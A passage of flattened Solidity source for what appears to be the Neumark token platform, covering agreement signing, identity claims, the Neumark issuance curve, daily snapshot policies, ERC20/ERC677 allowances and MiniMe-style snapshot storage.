last
);
}
function pastAgreement(uint256 amendmentIndex)
public
constant
returns
(
address contractLegalRepresentative,
uint256 signedBlockTimestamp,
string agreementUri,
uint256 index
)
{
SignedAgreement storage amendment = _amendments[amendmentIndex];
return (
amendment.contractLegalRepresentative,
amendment.signedBlockTimestamp,
amendment.agreementUri,
amendmentIndex
);
}
function agreementSignedAtBlock(address signatory)
public
constant
returns (uint256 blockNo)
{
return _signatories[signatory];
}
function amendmentsCount()
public
constant
returns (uint256)
{
return _amendments.length;
}
////////////////////////
// Internal functions
////////////////////////
/// provides direct access to derived contract
function acceptAgreementInternal(address accepter)
internal
{
if(_signatories[accepter] == 0) {
require(_amendments.length > 0);
_signatories[accepter] = block.number;
emit LogAgreementAccepted(accepter);
}
}
//
// MAgreement Internal interface (todo: extract)
//
/// default amend permission goes to ROLE_PLATFORM_OPERATOR_REPRESENTATIVE
function mCanAmend(address legalRepresentative)
internal
returns (bool)
{
return accessPolicy().allowed(legalRepresentative, ROLE_PLATFORM_OPERATOR_REPRESENTATIVE, this, msg.sig);
}
}
/// @title describes layout of claims in 256bit records stored for identities
/// @dev intended to be derived by contracts requiring access to particular claims
contract IdentityRecord {
////////////////////////
// Types
////////////////////////
/// @dev here the idea is to have claims of size of uint256 and use this struct
/// to translate in and out of this struct. until we do not cross uint256 we
/// have binary compatibility
struct IdentityClaims {
bool isVerified; // 1 bit
bool isSophisticatedInvestor; // 1 bit
bool hasBankAccount; // 1 bit
bool accountFrozen; // 1 bit
// uint252 reserved
}
////////////////////////
// Internal functions
////////////////////////
/// translates uint256 to struct
function deserializeClaims(bytes32 data) internal pure returns (IdentityClaims memory claims) {
// for memory layout of struct, each field below word length occupies whole word
assembly {
mstore(claims, and(data, 0x1))
mstore(add(claims, 0x20), div(and(data, 0x2), 0x2))
mstore(add(claims, 0x40), div(and(data, 0x4), 0x4))
mstore(add(claims, 0x60), div(and(data, 0x8), 0x8))
}
}
}
/// @title interface storing and retrieve 256bit claims records for identity
/// actual format of record is decoupled from storage (except maximum size)
contract IIdentityRegistry {
////////////////////////
// Events
////////////////////////
/// provides information on setting claims
event LogSetClaims(
address indexed identity,
bytes32 oldClaims,
bytes32 newClaims
);
////////////////////////
// Public functions
////////////////////////
/// get claims for identity
function getClaims(address identity) public constant returns (bytes32);
/// set claims for identity
/// @dev odlClaims and newClaims used for optimistic locking. to override with newClaims
/// current claims must be oldClaims
function setClaims(address identity, bytes32 oldClaims, bytes32 newClaims) public;
}
/// @title known interfaces (services) of the platform
/// "known interface" is a unique id of service provided by the platform and discovered via Universe contract
/// it does not refer to particular contract/interface ABI, particular service may be delivered via different implementations
/// however for a few contracts we commit platform to particular implementation (all ICBM Contracts, Universe itself etc.)
/// @dev constants are kept in CODE not in STORAGE so they are comparatively cheap
contract KnownInterfaces {
////////////////////////
// Constants
////////////////////////
// NOTE: All interface are set to the keccak256 hash of the
// CamelCased interface or singleton name, i.e.
// KNOWN_INTERFACE_NEUMARK = keccak256("Neumark")
// EIP 165 + EIP 820 should be use instead but it seems they are far from finished
// also interface signature should be build automatically by solidity. otherwise it is a pure hassle
// neumark token interface and sigleton keccak256("Neumark")
bytes4 internal constant KNOWN_INTERFACE_NEUMARK = 0xeb41a1bd;
// ether token interface and singleton keccak256("EtherToken")
bytes4 internal constant KNOWN_INTERFACE_ETHER_TOKEN = 0x8cf73cf1;
// euro token interface and singleton keccak256("EuroToken")
bytes4 internal constant KNOWN_INTERFACE_EURO_TOKEN = 0x83c3790b;
// identity registry interface and singleton keccak256("IIdentityRegistry")
bytes4 internal constant KNOWN_INTERFACE_IDENTITY_REGISTRY = 0x0a72e073;
// currency rates oracle interface and singleton keccak256("ITokenExchangeRateOracle")
bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE_RATE_ORACLE = 0xc6e5349e;
// fee disbursal interface and singleton keccak256("IFeeDisbursal")
bytes4 internal constant KNOWN_INTERFACE_FEE_DISBURSAL = 0xf4c848e8;
// platform portfolio holding equity tokens belonging to NEU holders keccak256("IPlatformPortfolio");
bytes4 internal constant KNOWN_INTERFACE_PLATFORM_PORTFOLIO = 0xaa1590d0;
// token exchange interface and singleton keccak256("ITokenExchange")
bytes4 internal constant KNOWN_INTERFACE_TOKEN_EXCHANGE = 0xddd7a521;
// service exchanging euro token for gas ("IGasTokenExchange")
bytes4 internal constant KNOWN_INTERFACE_GAS_EXCHANGE = 0x89dbc6de;
// access policy interface and singleton keccak256("IAccessPolicy")
bytes4 internal constant KNOWN_INTERFACE_ACCESS_POLICY = 0xb05049d9;
// euro lock account (upgraded) keccak256("LockedAccount:Euro")
bytes4 internal constant KNOWN_INTERFACE_EURO_LOCK = 0x2347a19e;
// ether lock account (upgraded) keccak256("LockedAccount:Ether")
bytes4 internal constant KNOWN_INTERFACE_ETHER_LOCK = 0x978a6823;
// icbm euro lock account keccak256("ICBMLockedAccount:Euro")
bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_LOCK = 0x36021e14;
// ether lock account (upgraded) keccak256("ICBMLockedAccount:Ether")
bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_LOCK = 0x0b58f006;
// ether token interface and singleton keccak256("ICBMEtherToken")
bytes4 internal constant KNOWN_INTERFACE_ICBM_ETHER_TOKEN = 0xae8b50b9;
// euro token interface and singleton keccak256("ICBMEuroToken")
bytes4 internal constant KNOWN_INTERFACE_ICBM_EURO_TOKEN = 0xc2c6cd72;
// ICBM commitment interface interface and singleton keccak256("ICBMCommitment")
bytes4 internal constant KNOWN_INTERFACE_ICBM_COMMITMENT = 0x7f2795ef;
// ethereum fork arbiter interface and singleton keccak256("IEthereumForkArbiter")
bytes4 internal constant KNOWN_INTERFACE_FORK_ARBITER = 0x2fe7778c;
// Platform terms interface and singletong keccak256("PlatformTerms")
bytes4 internal constant KNOWN_INTERFACE_PLATFORM_TERMS = 0x75ecd7f8;
// for completness we define Universe service keccak256("Universe");
bytes4 internal constant KNOWN_INTERFACE_UNIVERSE = 0xbf202454;
// ETO commitment interface (collection) keccak256("ICommitment")
bytes4 internal constant KNOWN_INTERFACE_COMMITMENT = 0xfa0e0c60;
// Equity Token Controller interface (collection) keccak256("IEquityTokenController")
bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN_CONTROLLER = 0xfa30b2f1;
// Equity Token interface (collection) keccak256("IEquityToken")
bytes4 internal constant KNOWN_INTERFACE_EQUITY_TOKEN = 0xab9885bb;
}
contract IsContract {
////////////////////////
// Internal functions
////////////////////////
function isContract(address addr)
internal
constant
returns (bool)
{
uint256 size;
// takes 700 gas
assembly { size := extcodesize(addr) }
return size > 0;
}
}
contract NeumarkIssuanceCurve {
////////////////////////
// Constants
////////////////////////
// maximum number of neumarks that may be created
uint256 private constant NEUMARK_CAP = 1500000000000000000000000000;
// initial neumark reward fraction (controls curve steepness)
uint256 private constant INITIAL_REWARD_FRACTION = 6500000000000000000;
// stop issuing new Neumarks above this Euro value (as it goes quickly to zero)
uint256 private constant ISSUANCE_LIMIT_EUR_ULPS = 8300000000000000000000000000;
// approximate curve linearly above this Euro value
uint256 private constant LINEAR_APPROX_LIMIT_EUR_ULPS = 2100000000000000000000000000;
uint256 private constant NEUMARKS_AT_LINEAR_LIMIT_ULPS = 1499832501287264827896539871;
uint256 private constant TOT_LINEAR_NEUMARKS_ULPS = NEUMARK_CAP - NEUMARKS_AT_LINEAR_LIMIT_ULPS;
uint256 private constant TOT_LINEAR_EUR_ULPS = ISSUANCE_LIMIT_EUR_ULPS - LINEAR_APPROX_LIMIT_EUR_ULPS;
////////////////////////
// Public functions
////////////////////////
/// @notice returns additional amount of neumarks issued for euroUlps at totalEuroUlps
/// @param totalEuroUlps actual curve position from which neumarks will be issued
/// @param euroUlps amount against which neumarks will be issued
function incremental(uint256 totalEuroUlps, uint256 euroUlps)
public
pure
returns (uint256 neumarkUlps)
{
require(totalEuroUlps + euroUlps >= totalEuroUlps);
uint256 from = cumulative(totalEuroUlps);
uint256 to = cumulative(totalEuroUlps + euroUlps);
// as expansion is not monotonic for large totalEuroUlps, assert below may fail
// example: totalEuroUlps=1.999999999999999999999000000e+27 and euroUlps=50
assert(to >= from);
return to - from;
}
/// @notice returns amount of euro corresponding to burned neumarks
/// @param totalEuroUlps actual curve position from which neumarks will be burned
/// @param burnNeumarkUlps amount of neumarks to burn
function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps)
public
pure
returns (uint256 euroUlps)
{
uint256 totalNeumarkUlps = cumulative(totalEuroUlps);
require(totalNeumarkUlps >= burnNeumarkUlps);
uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps;
uint newTotalEuroUlps = cumulativeInverse(fromNmk, 0, totalEuroUlps);
// yes, this may overflow due to non monotonic inverse function
assert(totalEuroUlps >= newTotalEuroUlps);
return totalEuroUlps - newTotalEuroUlps;
}
/// @notice returns amount of euro corresponding to burned neumarks
/// @param totalEuroUlps actual curve position from which neumarks will be burned
/// @param burnNeumarkUlps amount of neumarks to burn
/// @param minEurUlps euro amount to start inverse search from, inclusive
/// @param maxEurUlps euro amount to end inverse search to, inclusive
function incrementalInverse(uint256 totalEuroUlps, uint256 burnNeumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
pure
returns (uint256 euroUlps)
{
uint256 totalNeumarkUlps = cumulative(totalEuroUlps);
require(totalNeumarkUlps >= burnNeumarkUlps);
uint256 fromNmk = totalNeumarkUlps - burnNeumarkUlps;
uint newTotalEuroUlps = cumulativeInverse(fromNmk, minEurUlps, maxEurUlps);
// yes, this may overflow due to non monotonic inverse function
assert(totalEuroUlps >= newTotalEuroUlps);
return totalEuroUlps - newTotalEuroUlps;
}
/// @notice finds total amount of neumarks issued for given amount of Euro
/// @dev binomial expansion does not guarantee monotonicity on uint256 precision for large euroUlps
/// function below is not monotonic
function cumulative(uint256 euroUlps)
public
pure
returns(uint256 neumarkUlps)
{
// Return the cap if euroUlps is above the limit.
if (euroUlps >= ISSUANCE_LIMIT_EUR_ULPS) {
return NEUMARK_CAP;
}
// use linear approximation above limit below
// binomial expansion does not guarantee monotonicity on uint256 precision for large euroUlps
if (euroUlps >= LINEAR_APPROX_LIMIT_EUR_ULPS) {
// (euroUlps - LINEAR_APPROX_LIMIT_EUR_ULPS) is small so expression does not overflow
return NEUMARKS_AT_LINEAR_LIMIT_ULPS + (TOT_LINEAR_NEUMARKS_ULPS * (euroUlps - LINEAR_APPROX_LIMIT_EUR_ULPS)) / TOT_LINEAR_EUR_ULPS;
}
// Approximate cap-cap·(1-1/D)^n using the Binomial expansion
// http://galileo.phys.virginia.edu/classes/152.mf1i.spring02/Exponential_Function.htm
// Function[imax, -CAP*Sum[(-IR*EUR/CAP)^i/Factorial[i], {i, imax}]]
// which may be simplified to
// Function[imax, -CAP*Sum[(EUR)^i/(Factorial[i]*(-d)^i), {i, 1, imax}]]
// where d = cap/initial_reward
uint256 d = 230769230769230769230769231; // NEUMARK_CAP / INITIAL_REWARD_FRACTION
uint256 term = NEUMARK_CAP;
uint256 sum = 0;
uint256 denom = d;
do assembly {
// We use assembler primarily to avoid the expensive
// divide-by-zero check solc inserts for the / operator.
term := div(mul(term, euroUlps), denom)
sum := add(sum, term)
denom := add(denom, d)
// sub next term as we have power of negative value in the binomial expansion
term := div(mul(term, euroUlps), denom)
sum := sub(sum, term)
denom := add(denom, d)
} while (term != 0);
return sum;
}
/// @notice find issuance curve inverse by binary search
/// @param neumarkUlps neumark amount to compute inverse for
/// @param minEurUlps minimum search range for the inverse, inclusive
/// @param maxEurUlps maxium search range for the inverse, inclusive
/// @dev in case of approximate search (no exact inverse) upper element of minimal search range is returned
/// @dev in case of many possible inverses, the lowest one will be used (if range permits)
/// @dev corresponds to a linear search that returns first euroUlp value that has cumulative() equal or greater than neumarkUlps
function cumulativeInverse(uint256 neumarkUlps, uint256 minEurUlps, uint256 maxEurUlps)
public
pure
returns (uint256 euroUlps)
{
require(maxEurUlps >= minEurUlps);
require(cumulative(minEurUlps) <= neumarkUlps);
require(cumulative(maxEurUlps) >= neumarkUlps);
uint256 min = minEurUlps;
uint256 max = maxEurUlps;
// Binary search
while (max > min) {
uint256 mid = (max + min) / 2;
uint256 val = cumulative(mid);
// exact solution should not be used, a late points of the curve when many euroUlps are needed to
// increase by one nmkUlp this will lead to "indeterministic" inverse values that depend on the initial min and max
// and further binary division -> you can land at any of the euro value that is mapped to the same nmk value
// with condition below removed, binary search will point to the lowest eur value possible which is good because it cannot be exploited even with 0 gas costs
/* if (val == neumarkUlps) {
return mid;
}*/
// NOTE: approximate search (no inverse) must return upper element of the final range
// last step of approximate search is always (min, min+1) so new mid is (2*min+1)/2 => min
// so new min = mid + 1 = max which was upper range. and that ends the search
// NOTE: when there are multiple inverses for the same neumarkUlps, the `max` will be dragged down
// by `max = mid` expression to the lowest eur value of inverse. works only for ranges that cover all points of multiple inverse
if (val < neumarkUlps) {
min = mid + 1;
} else {
max = mid;
}
}
// NOTE: It is possible that there is no inverse
// for example curve(0) = 0 and curve(1) = 6, so
// there is no value y such that curve(y) = 5.
// When there is no inverse, we must return upper element of last search range.
// This has the effect of reversing the curve less when
// burning Neumarks. This ensures that Neumarks can always
// be burned. It also ensure that the total supply of Neumarks
// remains below the cap.
return max;
}
function neumarkCap()
public
pure
returns (uint256)
{
return NEUMARK_CAP;
}
function initialRewardFraction()
public
pure
returns (uint256)
{
return INITIAL_REWARD_FRACTION;
}
}
contract IBasicToken {
////////////////////////
// Events
////////////////////////
event Transfer(
address indexed from,
address indexed to,
uint256 amount
);
////////////////////////
// Public functions
////////////////////////
/// @dev This function makes it easy to get the total number of tokens
/// @return The total number of tokens
function totalSupply()
public
constant
returns (uint256);
/// @param owner The address that's balance is being requested
/// @return The balance of `owner` at the current block
function balanceOf(address owner)
public
constant
returns (uint256 balance);
/// @notice Send `amount` tokens to `to` from `msg.sender`
/// @param to The address of the recipient
/// @param amount The amount of tokens to be transferred
/// @return Whether the transfer was successful or not
function transfer(address to, uint256 amount)
public
returns (bool success);
}
/// @title allows deriving contract to recover any token or ether that it has balance of
/// @notice note that this opens your contracts to claims from various people saying they lost tokens and they want them back
/// be ready to handle such claims
/// @dev use with care!
/// 1. ROLE_RECLAIMER is allowed to claim tokens, it's not returning tokens to original owner
/// 2. in derived contract that holds any token by design you must override `reclaim` and block such possibility.
/// see ICBMLockedAccount as an example
contract Reclaimable is AccessControlled, AccessRoles {
////////////////////////
// Constants
////////////////////////
IBasicToken constant internal RECLAIM_ETHER = IBasicToken(0x0);
////////////////////////
// Public functions
////////////////////////
function reclaim(IBasicToken token)
public
only(ROLE_RECLAIMER)
{
address reclaimer = msg.sender;
if(token == RECLAIM_ETHER) {
reclaimer.transfer(address(this).balance);
} else {
uint256 balance = token.balanceOf(this);
require(token.transfer(reclaimer, balance));
}
}
}
/// @title advances snapshot id on demand
/// @dev see Snapshot folder for implementation examples ie. DailyAndSnapshotable contract
contract ISnapshotable {
////////////////////////
// Events
////////////////////////
/// @dev should log each new snapshot id created, including snapshots created automatically via MSnapshotPolicy
event LogSnapshotCreated(uint256 snapshotId);
////////////////////////
// Public functions
////////////////////////
/// always creates new snapshot id which gets returned
/// however, there is no guarantee that any snapshot will be created with this id, this depends on the implementation of MSnaphotPolicy
function createSnapshot()
public
returns (uint256);
/// upper bound of series snapshotIds for which there's a value
function currentSnapshotId()
public
constant
returns (uint256);
}
/// @title Abstracts snapshot id creation logics
/// @dev Mixin (internal interface) of the snapshot policy which abstracts snapshot id creation logics from Snapshot contract
/// @dev to be implemented and such implementation should be mixed with Snapshot-derived contract, see EveryBlock for simplest example of implementation and StandardSnapshotToken
contract MSnapshotPolicy {
////////////////////////
// Internal functions
////////////////////////
// The snapshot Ids need to be strictly increasing.
// Whenever the snaspshot id changes, a new snapshot will be created.
// As long as the same snapshot id is being returned, last snapshot will be updated as this indicates that snapshot id didn't change
//
// Values passed to `hasValueAt` and `valuteAt` are required
// to be less or equal to `mCurrentSnapshotId()`.
function mAdvanceSnapshotId()
internal
returns (uint256);
// this is a version of mAdvanceSnapshotId that does not modify state but MUST return the same value
// it is required to implement ITokenSnapshots interface cleanly
function mCurrentSnapshotId()
internal
constant
returns (uint256);
}
/// @title creates new snapshot id on each day boundary
/// @dev snapshot id is unix timestamp of current day boundary
contract Daily is MSnapshotPolicy {
////////////////////////
// Constants
////////////////////////
// Floor[2**128 / 1 days]
uint256 private MAX_TIMESTAMP = 3938453320844195178974243141571391;
////////////////////////
// Constructor
////////////////////////
/// @param start snapshotId from which to start generating values, used to prevent cloning from incompatible schemes
/// @dev start must be for the same day or 0, required for token cloning
constructor(uint256 start) internal {
// 0 is invalid value as we are past unix epoch
if (start > 0) {
uint256 base = dayBase(uint128(block.timestamp));
// must be within current day base
require(start >= base);
// dayBase + 2**128 will not overflow as it is based on block.timestamp
require(start < base + 2**128);
}
}
////////////////////////
// Public functions
////////////////////////
function snapshotAt(uint256 timestamp)
public
constant
returns (uint256)
{
require(timestamp < MAX_TIMESTAMP);
return dayBase(uint128(timestamp));
}
////////////////////////
// Internal functions
////////////////////////
//
// Implements MSnapshotPolicy
//
function mAdvanceSnapshotId()
internal
returns (uint256)
{
return mCurrentSnapshotId();
}
function mCurrentSnapshotId()
internal
constant
returns (uint256)
{
// disregard overflows on block.timestamp, see MAX_TIMESTAMP
return dayBase(uint128(block.timestamp));
}
function dayBase(uint128 timestamp)
internal
pure
returns (uint256)
{
// Round down to the start of the day (00:00 UTC) and place in higher 128bits
return 2**128 * (uint256(timestamp) / 1 days);
}
}
/// @title creates snapshot id on each day boundary and allows to create additional snapshots within a given day
/// @dev snapshots are encoded in single uint256, where high 128 bits represents a day number (from unix epoch) and low 128 bits represents additional snapshots within given day create via ISnapshotable
contract DailyAndSnapshotable is
Daily,
ISnapshotable
{
////////////////////////
// Mutable state
////////////////////////
uint256 private _currentSnapshotId;
////////////////////////
// Constructor
////////////////////////
/// @param start snapshotId from which to start generating values
/// @dev start must be for the same day or 0, required for token cloning
constructor(uint256 start)
internal
Daily(start)
{
if (start > 0) {
_currentSnapshotId = start;
}
}
////////////////////////
// Public functions
////////////////////////
//
// Implements ISnapshotable
//
function createSnapshot()
public
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
if (base > _currentSnapshotId) {
// New day has started, create snapshot for midnight
_currentSnapshotId = base;
} else {
// within single day, increase counter (assume 2**128 will not be crossed)
_currentSnapshotId += 1;
}
// Log and return
emit LogSnapshotCreated(_currentSnapshotId);
return _currentSnapshotId;
}
////////////////////////
// Internal functions
////////////////////////
//
// Implements MSnapshotPolicy
//
function mAdvanceSnapshotId()
internal
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
// New day has started
if (base > _currentSnapshotId) {
_currentSnapshotId = base;
emit LogSnapshotCreated(base);
}
return _currentSnapshotId;
}
function mCurrentSnapshotId()
internal
constant
returns (uint256)
{
uint256 base = dayBase(uint128(block.timestamp));
return base > _currentSnapshotId ? base : _currentSnapshotId;
}
}
contract ITokenMetadata {
////////////////////////
// Public functions
////////////////////////
function symbol()
public
constant
returns (string);
function name()
public
constant
returns (string);
function decimals()
public
constant
returns (uint8);
}
/// @title adds token metadata to token contract
/// @dev see Neumark for example implementation
contract TokenMetadata is ITokenMetadata {
////////////////////////
// Immutable state
////////////////////////
// The Token's name: e.g. DigixDAO Tokens
string private NAME;
// An identifier: e.g. REP
string private SYMBOL;
// Number of decimals of the smallest unit
uint8 private DECIMALS;
// An arbitrary versioning scheme
string private VERSION;
////////////////////////
// Constructor
////////////////////////
/// @notice Constructor to set metadata
/// @param tokenName Name of the new token
/// @param decimalUnits Number of decimals of the new token
/// @param tokenSymbol Token Symbol for the new token
/// @param version Token version ie. when cloning is used
constructor(
string tokenName,
uint8 decimalUnits,
string tokenSymbol,
string version
)
public
{
NAME = tokenName; // Set the name
SYMBOL = tokenSymbol; // Set the symbol
DECIMALS = decimalUnits; // Set the decimals
VERSION = version;
}
////////////////////////
// Public functions
////////////////////////
function name()
public
constant
returns (string)
{
return NAME;
}
function symbol()
public
constant
returns (string)
{
return SYMBOL;
}
function decimals()
public
constant
returns (uint8)
{
return DECIMALS;
}
function version()
public
constant
returns (string)
{
return VERSION;
}
}
contract IERC20Allowance {
////////////////////////
// Events
////////////////////////
event Approval(
address indexed owner,
address indexed spender,
uint256 amount
);
////////////////////////
// Public functions
////////////////////////
/// @dev This function makes it easy to read the `allowed[]` map
/// @param owner The address of the account that owns the token
/// @param spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of owner that spender is allowed
/// to spend
function allowance(address owner, address spender)
public
constant
returns (uint256 remaining);
/// @notice `msg.sender` approves `spender` to spend `amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// to be a little bit safer
/// @param spender The address of the account able to transfer the tokens
/// @param amount The amount of tokens to be approved for transfer
/// @return True if the approval was successful
function approve(address spender, uint256 amount)
public
returns (bool success);
/// @notice Send `amount` tokens to `to` from `from` on the condition it
/// is approved by `from`
/// @param from The address holding the tokens being transferred
/// @param to The address of the recipient
/// @param amount The amount of tokens to be transferred
/// @return True if the transfer was successful
function transferFrom(address from, address to, uint256 amount)
public
returns (bool success);
}
contract IERC20Token is IBasicToken, IERC20Allowance {
}
/// @title controls spending approvals
/// @dev TokenAllowance observes this interface, Neumark contract implements it
contract MTokenAllowanceController {
////////////////////////
// Internal functions
////////////////////////
/// @notice Notifies the controller about an approval allowing the
/// controller to react if desired
/// @param owner The address that calls `approve()`
/// @param spender The spender in the `approve()` call
/// @param amount The amount in the `approve()` call
/// @return False if the controller does not authorize the approval
function mOnApprove(
address owner,
address spender,
uint256 amount
)
internal
returns (bool allow);
/// @notice Allows to override allowance approved by the owner
/// Primary role is to enable forced transfers, do not override if you do not like it
/// Following behavior is expected in the observer
/// approve() - should revert if mAllowanceOverride() > 0
/// allowance() - should return mAllowanceOverride() if set
/// transferFrom() - should override allowance if mAllowanceOverride() > 0
/// @param owner An address giving allowance to spender
/// @param spender An address getting a right to transfer allowance amount from the owner
/// @return current allowance amount
function mAllowanceOverride(
address owner,
address spender
)
internal
constant
returns (uint256 allowance);
}
/// @title controls token transfers
/// @dev BasicSnapshotToken observes this interface, Neumark contract implements it
contract MTokenTransferController {
////////////////////////
// Internal functions
////////////////////////
/// @notice Notifies the controller about a token transfer allowing the
/// controller to react if desired
/// @param from The origin of the transfer
/// @param to The destination of the transfer
/// @param amount The amount of the transfer
/// @return False if the controller does not authorize the transfer
function mOnTransfer(
address from,
address to,
uint256 amount
)
internal
returns (bool allow);
}
/// @title controls approvals and transfers
/// @dev The token controller contract must implement these functions, see Neumark as example
/// @dev please note that controller may be a separate contract that is called from mOnTransfer and mOnApprove functions
contract MTokenController is MTokenTransferController, MTokenAllowanceController {
}
/// @title internal token transfer function
/// @dev see BasicSnapshotToken for implementation
contract MTokenTransfer {
////////////////////////
// Internal functions
////////////////////////
/// @dev This is the actual transfer function in the token contract, it can
/// only be called by other functions in this contract.
/// @param from The address holding the tokens being transferred
/// @param to The address of the recipient
/// @param amount The amount of tokens to be transferred
/// @dev reverts if transfer was not successful
function mTransfer(
address from,
address to,
uint256 amount
)
internal;
}
contract IERC677Callback {
////////////////////////
// Public functions
////////////////////////
// NOTE: This call can be initiated by anyone. You need to make sure that
// it is send by the token (`require(msg.sender == token)`) or make sure
// amount is valid (`require(token.allowance(this) >= amount)`).
function receiveApproval(
address from,
uint256 amount,
address token, // IERC667Token
bytes data
)
public
returns (bool success);
}
contract IERC677Allowance is IERC20Allowance {
////////////////////////
// Public functions
////////////////////////
/// @notice `msg.sender` approves `spender` to send `amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param spender The address of the contract able to transfer the tokens
/// @param amount The amount of tokens to be approved for transfer
/// @return True if the function call was successful
function approveAndCall(address spender, uint256 amount, bytes extraData)
public
returns (bool success);
}
contract IERC677Token is IERC20Token, IERC677Allowance {
}
/// @title token spending approval and transfer
/// @dev implements token approval and transfers and exposes relevant part of ERC20 and ERC677 approveAndCall
/// may be mixed in with any basic token (implementing mTransfer) like BasicSnapshotToken or MintableSnapshotToken to add approval mechanism
/// observes MTokenAllowanceController interface
/// observes MTokenTransfer
contract TokenAllowance is
MTokenTransfer,
MTokenAllowanceController,
IERC20Allowance,
IERC677Token
{
////////////////////////
// Mutable state
////////////////////////
// `allowed` tracks rights to spends others tokens as per ERC20
// owner => spender => amount
mapping (address => mapping (address => uint256)) private _allowed;
////////////////////////
// Constructor
////////////////////////
constructor()
internal
{
}
////////////////////////
// Public functions
////////////////////////
//
// Implements IERC20Token
//
/// @dev This function makes it easy to read the `allowed[]` map
/// @param owner The address of the account that owns the token
/// @param spender The address of the account able to transfer the tokens
/// @return Amount of remaining tokens of _owner that _spender is allowed
/// to spend
function allowance(address owner, address spender)
public
constant
returns (uint256 remaining)
{
uint256 override = mAllowanceOverride(owner, spender);
if (override > 0) {
return override;
}
return _allowed[owner][spender];
}
/// @notice `msg.sender` approves `_spender` to spend `_amount` tokens on
/// its behalf. This is a modified version of the ERC20 approve function
/// where allowance per spender must be 0 to allow change of such allowance
/// @param spender The address of the account able to transfer the tokens
/// @param amount The amount of tokens to be approved for transfer
/// @return True or reverts, False is never returned
function approve(address spender, uint256 amount)
public
returns (bool success)
{
// Alerts the token controller of the approve function call
require(mOnApprove(msg.sender, spender, amount));
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender,0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((amount == 0 || _allowed[msg.sender][spender] == 0) && mAllowanceOverride(msg.sender, spender) == 0);
_allowed[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
/// @notice Send `_amount` tokens to `_to` from `_from` on the condition it
/// is approved by `_from`
/// @param from The address holding the tokens being transferred
/// @param to The address of the recipient
/// @param amount The amount of tokens to be transferred
/// @return True if the transfer was successful, reverts in any other case
function transferFrom(address from, address to, uint256 amount)
public
returns (bool success)
{
uint256 allowed = mAllowanceOverride(from, msg.sender);
if (allowed == 0) {
// The standard ERC 20 transferFrom functionality
allowed = _allowed[from][msg.sender];
// yes this will underflow but then we'll revert. will cost gas however so don't underflow
_allowed[from][msg.sender] -= amount;
}
require(allowed >= amount);
mTransfer(from, to, amount);
return true;
}
//
// Implements IERC677Token
//
/// @notice `msg.sender` approves `_spender` to send `_amount` tokens on
/// its behalf, and then a function is triggered in the contract that is
/// being approved, `_spender`. This allows users to use their tokens to
/// interact with contracts in one function call instead of two
/// @param spender The address of the contract able to transfer the tokens
/// @param amount The amount of tokens to be approved for transfer
/// @return True or reverts, False is never returned
function approveAndCall(
address spender,
uint256 amount,
bytes extraData
)
public
returns (bool success)
{
require(approve(spender, amount));
success = IERC677Callback(spender).receiveApproval(
msg.sender,
amount,
this,
extraData
);
require(success);
return true;
}
////////////////////////
// Internal functions
////////////////////////
//
// Implements default MTokenAllowanceController
//
// no override in default implementation
function mAllowanceOverride(
address /*owner*/,
address /*spender*/
)
internal
constant
returns (uint256)
{
return 0;
}
}
/// @title Reads and writes snapshots
/// @dev Manages reading and writing a series of values, where each value has assigned a snapshot id for access to historical data
/// @dev may be added to any contract to provide snapshotting mechanism. should be mixed in with any of MSnapshotPolicy implementations to customize snapshot creation mechanics
/// observes MSnapshotPolicy
/// based on MiniMe token
contract Snapshot is MSnapshotPolicy {
////////////////////////
// Types
////////////////////////
/// @dev `Values` is the structure that attaches a snapshot id to a
/// given value, the snapshot id attached is the one that last changed the
/// value
struct Values {
// `snapshotId` is the snapshot id that the value was generated at
uint256 snapshotId;
// `value` at a specific snapshot id
uint256 value;
}
////////////////////////
// Internal functions
////////////////////////
function hasValue(
Values[] storage values
)
internal
constant
returns (bool)
{
return values.length > 0;
}
/// @dev makes sure that 'snapshotId' between current snapshot id (mCurrentSnapshotId) and first snapshot id. this guarantees that getValueAt returns value from one of the snapshots.
function hasValueAt(
Values[] storage values,
uint256 snapshotId
)
internal
constant
returns (bool)
{
require(snapshotId <= mCurrentSnapshotId());
return values.length > 0 && values[0].snapshotId <= snapshotId;
}
/// gets last value in the series
function getValue(
Values[] storage values,
uint256 defaultValue
)
internal
constant
returns (uint256)
{
if (values.length == 0) {
return defaultValue;
} else {
uint256 last = values.length - 1;
return values[last].value;
}
}
/// @dev `getValueAt` retrieves value at a given snapshot id
/// @param values The series of values being queried
/// @param snapshotId Snapshot id to retrieve the value at
/// @return Value in series being queried
function getValueAt(
Values[] storage values,
uint256 snapshotId,
uint256 defaultValue
)
internal
constant
returns (uint256)
{
require(snapshotId <= mCurrentSnapshotId());
// Empty value
if (values.length == 0) {
return defaultValue;
}
// Shortcut for the out of bounds snapshots
uint256 last = values.length - 1;
uint256 lastSnapshot = values[last].snapshotId;
if (snapshotId >= lastSnapshot) {
return values[last].value;
}
uint256 firstSnapshot = values[0].snapshotId;
if (snapshotId < firstSnapshot) {
return defaultValue;
}
// Binary search of the value in the array
uint256 min = 0;
uint256 max = last;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
// must always return lower indice for approximate searches
if (values[mid].snapshotId <= snapshotId) {
min = mid;
} else {
max = mid - 1;
}
}
return values[min].value;
}
/// @dev `setValue` used to update sequence at next snapshot
/// @param values The sequence being updated
/// @param value The new last value of sequence
function setValue(
Values[] storage values,
uint256 value
)
internal
{
// TODO: simplify or break into smaller functions
uint256 currentSnapshotId = mAdvanceSnapshotId();
// Always create a new entry if there currently is no value
bool empty = values.length == 0;
if (empty) {
// Create a new entry
values.push(
Values({
snapshotId: currentSnapshotId,
value: value
})
);
return;
}
uint256 last = values.length - 1;
